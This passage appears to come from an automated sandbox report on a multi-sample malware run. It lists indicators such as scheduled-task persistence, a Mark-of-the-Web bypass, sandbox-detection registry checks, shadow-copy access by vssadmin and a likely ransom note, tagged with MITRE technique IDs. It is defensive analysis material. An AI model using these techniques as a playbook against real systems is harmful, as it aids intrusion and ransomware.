File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.40831.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-32_altform-unplated_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2020.503.58.0_x64__8wekyb3d8bbwe\Assets\contrast-black\CameraAppList.targetsize-48.png	asena.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemUpdateCache	svchost.exe
File created	C:\Windows\SystemUpdateCache\UpdateManager.exe	svchost.exe
File opened for modification	C:\Windows\SystemUpdateCache\UpdateManager.exe	svchost.exe
File created	C:\Windows\576ruythg6534trewf\2025-03-03 23.06.wav	iexplore.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\Tasks\Gxtuum.job	pfntjejghjsdkr.exe

Launches sc.exe 7 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5116	sc.exe
7164	sc.exe
7160	sc.exe
1772	sc.exe
2736	sc.exe
6272	sc.exe
1416	sc.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

persistence privilege_escalation

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\setup-qtox-x86_64-release.exe:Zone.Identifier	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000900000002c309-35794.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Program crash 6 IoCs

pid	pid_target	Process	procid_target
2860	6720	WerFault.exe	125
3484	5028	WerFault.exe	176
1960	2744	WerFault.exe	84
6324	6104	WerFault.exe	249
8532	5780	WerFault.exe	182
7700	7540	WerFault.exe	588

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	multiyota.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netbtugc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pfntjejghjsdkr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Update.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SteamDetector.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SrbijaSetupHokej.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hokej.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CritScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CPDB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Vikings.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Discord.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	961117be.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	handeltest.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TORRENTOLD-1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	76y5trfed675ytg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LauncherLoader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fast%20Download.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GoodFrag.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GOLD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	multiyota.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Runtime Broker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sela.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iexplore.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TPB-1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TORRENTOLD-1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Steanings.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Invoice4231284.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Ultra Mega Null DDoS Panel (added API Function in v2.39).exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CONHOST.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	system404.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup-qtox-x86_64-release.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Discord2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NOTallowedtocrypt.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 37 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
5352	PING.EXE
7080	PING.EXE
6704	PING.EXE
9772	PING.EXE
8444	PING.EXE
5752	PING.EXE
2708	PING.EXE
3584	PING.EXE
8024	PING.EXE
8252	PING.EXE
1356	PING.EXE
1264	PING.EXE
4868	PING.EXE
5528	PING.EXE
6544	PING.EXE
3120	PING.EXE
4568	PING.EXE
8936	PING.EXE
7692	PING.EXE
6672	PING.EXE
1196	PING.EXE
8364	PING.EXE
8984	PING.EXE
10176	PING.EXE
8564	PING.EXE
6672	PING.EXE
4632	PING.EXE
7960	PING.EXE
9068	PING.EXE
6652	PING.EXE
2520	PING.EXE
396	PING.EXE
7424	PING.EXE
9976	PING.EXE
6120	PING.EXE
7088	PING.EXE
5404	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
6488	netsh.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	asena.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000745509500620e41d0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000745509500000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff00000000070001000068090074550950000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d74550950000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000007455095000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	asena.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	asena.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	asena.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	asena.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	test.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	test.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	file.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	file.exe

Delays execution with timeout.exe 3 IoCs

pid	Process
3436	timeout.exe
560	timeout.exe
8776	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	file.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
9132	ipconfig.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4616	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\Registry\User\S-1-5-21-2800786028-4028220528-1905518260-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	netbtugc.exe

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133855160706139637"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE

Modifies registry class 26 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\toxsave\ = "Tox save file"	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2800786028-4028220528-1905518260-1000\{E38A08EB-DB11-43CD-88C7-064A5378409F}	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000_Classes\Local Settings	CritScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tox\URL Protocol	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications	setup-qtox-x86_64-release.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.tox\ = "toxsave"	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\toxsave	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\toxsave\shell	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\toxsave\shell\open	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000_Classes\Local Settings\MuiCache	GameBar.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tox\shell\open\command	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\qtox.exe	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\toxsave\shell\open\command	setup-qtox-x86_64-release.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\toxsave\shell\open\command\ = "C:\\Program Files\\qTox\\bin\\qtox.exe %1"	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	NOTallowedtocrypt.exe
Key created	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tox\shell	setup-qtox-x86_64-release.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\qtox.exe\SupportedTypes\.tox	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\toxsave\DefaultIcon	setup-qtox-x86_64-release.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\toxsave\DefaultIcon\ = "C:\\Program Files\\qTox\\bin\\qtox.exe"	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tox	setup-qtox-x86_64-release.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tox\ = "URL:tox Protocol"	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tox\shell\open	setup-qtox-x86_64-release.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tox\shell\open\command\ = "C:\\Program Files\\qTox\\bin\\qtox.exe %1"	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\qtox.exe\SupportedTypes	setup-qtox-x86_64-release.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.tox	setup-qtox-x86_64-release.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

pid	Process
2904	reg.exe
5960	reg.exe
5288	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\setup-qtox-x86_64-release.exe:Zone.Identifier	chrome.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
6984	notepad.exe

Runs ping.exe 1 TTPs 37 IoCs

Remote System Discovery

T1018

pid	Process
4632	PING.EXE
2708	PING.EXE
8564	PING.EXE
1356	PING.EXE
6652	PING.EXE
6544	PING.EXE
7424	PING.EXE
8024	PING.EXE
8252	PING.EXE
9068	PING.EXE
5752	PING.EXE
8984	PING.EXE
7080	PING.EXE
4868	PING.EXE
5404	PING.EXE
1196	PING.EXE
7088	PING.EXE
3120	PING.EXE
8936	PING.EXE
9976	PING.EXE
7692	PING.EXE
6120	PING.EXE
5352	PING.EXE
9772	PING.EXE
6672	PING.EXE
2520	PING.EXE
6672	PING.EXE
5528	PING.EXE
3584	PING.EXE
4568	PING.EXE
10176	PING.EXE
1264	PING.EXE
6704	PING.EXE
396	PING.EXE
8364	PING.EXE
7960	PING.EXE
8444	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 58 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
8276	schtasks.exe
2348	schtasks.exe
8788	schtasks.exe
7796	schtasks.exe
8928	schtasks.exe
6004	schtasks.exe
4632	schtasks.exe
8404	schtasks.exe
4580	schtasks.exe
8552	schtasks.exe
9832	schtasks.exe
6652	schtasks.exe
4144	schtasks.exe
5336	schtasks.exe
3460	schtasks.exe
336	schtasks.exe
1600	schtasks.exe
3568	schtasks.exe
9376	schtasks.exe
8588	schtasks.exe
3540	schtasks.exe
6324	schtasks.exe
6896	schtasks.exe
9616	schtasks.exe
8676	schtasks.exe
9836	schtasks.exe
2056	schtasks.exe
5332	schtasks.exe
5704	schtasks.exe
5424	schtasks.exe
5484	schtasks.exe
6620	schtasks.exe
5908	schtasks.exe
8000	schtasks.exe
5408	schtasks.exe
5128	schtasks.exe
5116	schtasks.exe
3196	schtasks.exe
6388	schtasks.exe
332	schtasks.exe
6684	schtasks.exe
4780	schtasks.exe
4132	schtasks.exe
5548	schtasks.exe
8928	schtasks.exe
1364	schtasks.exe
6096	schtasks.exe
5272	schtasks.exe
3760	schtasks.exe
5004	schtasks.exe
5424	schtasks.exe
6388	schtasks.exe
2836	schtasks.exe
7912	schtasks.exe
3352	schtasks.exe
9200	schtasks.exe
1328	schtasks.exe
9412	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5124	qtox.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4004	test.exe
4004	test.exe
4004	test.exe
4004	test.exe
4004	test.exe
4004	test.exe
4004	test.exe
5856	chrome.exe
5856	chrome.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
3960	InstallSetup.exe
2032	SrbijaSetupHokej.tmp
2032	SrbijaSetupHokej.tmp
3872	TORRENTOLD-1.exe
3872	TORRENTOLD-1.exe
3872	TORRENTOLD-1.exe
3872	TORRENTOLD-1.exe
6748	TORRENTOLD-1.exe
6748	TORRENTOLD-1.exe
6748	TORRENTOLD-1.exe
6748	TORRENTOLD-1.exe
3664	chrome.exe
3664	chrome.exe
3664	chrome.exe
3664	chrome.exe
6152	xdd.exe

Suspicious behavior: GetForegroundWindowSpam 9 IoCs

pid	Process
5124	qtox.exe
5304	Runtime Broker.exe
2168	jusched.exe
4508	runtime.exe
4332	Update.exe
3168	sela.exe
3776	iexplore.exe
2384	SteamDetector.exe
648	MSWinpreference.exe

Suspicious behavior: MapViewOfSection 11 IoCs

pid	Process
2272	CryptoWall.exe
2060	explorer.exe
6796	76y5trfed675ytg.exe
3776	iexplore.exe
8112	bin.exe
5124	qtox.exe
5124	qtox.exe
7388	netbtugc.exe
7388	netbtugc.exe
7388	netbtugc.exe
7388	netbtugc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 53 IoCs

pid	Process
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
5856	chrome.exe
